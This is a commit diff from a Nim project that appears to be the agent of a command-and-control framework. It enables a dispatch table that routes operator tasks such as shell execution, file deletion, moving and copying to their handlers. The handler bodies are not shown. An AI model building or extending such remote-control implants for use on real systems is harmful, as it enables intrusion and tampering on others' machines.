Implemented communication with custom binary structure instead of JSON requests
This commit is contained in:
@@ -1,37 +1,22 @@
|
||||
import strutils, tables, json
|
||||
import ../types
|
||||
import ../agentTypes
|
||||
import ../commands/commands
|
||||
import ../../../common/types
|
||||
import sugar
|
||||
|
||||
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
dump task
|
||||
|
||||
# var taskResult = TaskResult
|
||||
# let handlers = {
|
||||
# CMD_SLEEP: taskSleep,
|
||||
# CMD_SHELL: taskShell,
|
||||
# CMD_PWD: taskPwd,
|
||||
# CMD_CD: taskCd,
|
||||
# CMD_LS: taskDir,
|
||||
# CMD_RM: taskRm,
|
||||
# CMD_RMDIR: taskRmdir,
|
||||
# CMD_MOVE: taskMove,
|
||||
# CMD_COPY: taskCopy
|
||||
# }.toTable
|
||||
let handlers = {
|
||||
CMD_SLEEP: taskSleep,
|
||||
CMD_SHELL: taskShell,
|
||||
CMD_PWD: taskPwd,
|
||||
CMD_CD: taskCd,
|
||||
CMD_LS: taskDir,
|
||||
CMD_RM: taskRm,
|
||||
CMD_RMDIR: taskRmdir,
|
||||
CMD_MOVE: taskMove,
|
||||
CMD_COPY: taskCopy
|
||||
}.toTable
|
||||
|
||||
# Handle task command
|
||||
# taskResult = handlers[task.command](task)
|
||||
# echo taskResult.data
|
||||
|
||||
# Handle actions on specific commands
|
||||
# case task.command:
|
||||
# of CMD_SLEEP:
|
||||
# if taskResult.status == STATUS_COMPLETED:
|
||||
# # config.sleep = parseJson(task.args)["delay"].getInt()
|
||||
# discard
|
||||
# else:
|
||||
# discard
|
||||
|
||||
# # Return the result
|
||||
# return taskResult
|
||||
return handlers[cast[CommandType](task.command)](config, task)
|
||||
Reference in New Issue
Block a user